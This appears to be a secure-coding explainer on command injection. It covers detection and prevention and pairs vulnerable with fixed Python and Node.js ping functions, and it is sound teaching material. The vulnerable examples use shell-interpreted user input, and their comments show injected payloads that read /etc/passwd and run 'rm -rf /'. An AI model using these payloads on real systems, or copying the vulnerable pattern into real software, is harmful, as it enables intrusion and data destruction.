Command Injection Attack

How Command Injection Attack Works

Command injection occurs when developers use functions that pass user input directly to shell commands (exec(), system(), subprocess, etc.) without proper validation or escaping. The operating system's shell interprets metacharacters as command separators, allowing attackers to append malicious commands. Unlike SQL injection, which targets database queries, command injection executes commands with the privileges of the vulnerable application process.

Real-World Examples

Impact & Risk Assessment

Command injection enables full system compromise, data theft, malware deployment, and lateral movement to other systems. Attackers can read/write any file accessible to the application process, steal database credentials from configuration files, install backdoors, launch attacks against internal networks, or use the compromised server as a botnet node. In multi-tenant environments, one tenant can compromise others. Impact includes data breaches, service disruption, regulatory fines, and complete loss of trust. Command injection often leads to complete control of the hosting infrastructure.

How to Detect Command Injection Attack

Monitor for suspicious command execution patterns: shell metacharacters in parameters (;, |, &, $, `), system command functions with user input, unexpected file operations, reverse shell connections, or privilege escalation attempts. Log all system command executions with full arguments and process information. Use application security testing (SAST/DAST) to identify vulnerable code patterns. Deploy runtime application self-protection (RASP) to detect abnormal system calls. Monitor for anomalous network connections from the application server (outbound shells, data exfiltration).

How to Prevent Command Injection Attack

Never execute shell commands with user input. If unavoidable, use parameterized APIs (Python subprocess with list arguments, Java ProcessBuilder with separate arguments, Node.js child_process.execFile) instead of string concatenation. Validate input with strict allowlists (only alphanumeric, no special characters). Escape shell metacharacters properly using language-specific escaping functions. Implement least privilege principles: run application processes with minimal permissions, chroot/sandbox environments. Use input validation libraries that reject shell metacharacters. Disable unnecessary system utilities. Use secure APIs (libraries) instead of system commands when possible. Regular code reviews focusing on system command execution patterns.

Code Examples

import subprocess

# VULNERABLE: User input concatenated into command
def ping_host(ip_address):
    # Attacker can input: 8.8.8.8; cat /etc/passwd
    result = subprocess.run(
        f'ping -c 4 {ip_address}',
        shell=True,  # shell=True enables metacharacter interpretation
        capture_output=True,
        text=True
    )
    return result.stdout

import subprocess
import re

def validate_ip(ip):
    """Validate IP address with strict pattern"""
    pattern = r'^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$'
    return re.match(pattern, ip) is not None

def ping_host(ip_address):
    # SECURE: Input validation + parameterized execution
    if not validate_ip(ip_address):
        raise ValueError('Invalid IP address format')
    
    # Use list argument (no shell=True) - input can't inject commands
    result = subprocess.run(
        ['ping', '-c', '4', ip_address],
        capture_output=True,
        text=True,
        # No shell=True - each argument is separate
    )
    return result.stdout

const { exec } = require('child_process');

// VULNERABLE: Don't do this
function pingVulnerable(ip) {
  exec(`ping -c 4 ${ip}`, (error, stdout, stderr) => {
    // Attacker can inject: ; rm -rf /
    console.log(stdout);
  });
}

// SECURE: Option 1 - Use a library instead of shell commands
const ping = require('ping');

async function pingSecure(ip) {
  const res = await ping.promise.probe(ip, {
    timeout: 2,
    extra: ['-c', '4']
  });
  return res.output;
}

// SECURE: Option 2 - Strict validation + parameterized
const { spawn } = require('child_process');

function validateIP(ip) {
  // IPv4 regex pattern
  const pattern = /^(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/;
  return pattern.test(ip);
}

function pingParameterized(ip) {
  if (!validateIP(ip)) {
    throw new Error('Invalid IP address');
  }

  // spawn() with array - no shell interpretation
  return spawn('ping', ['-c', '4', ip]);
}

Frequently Asked Questions

Related Attacks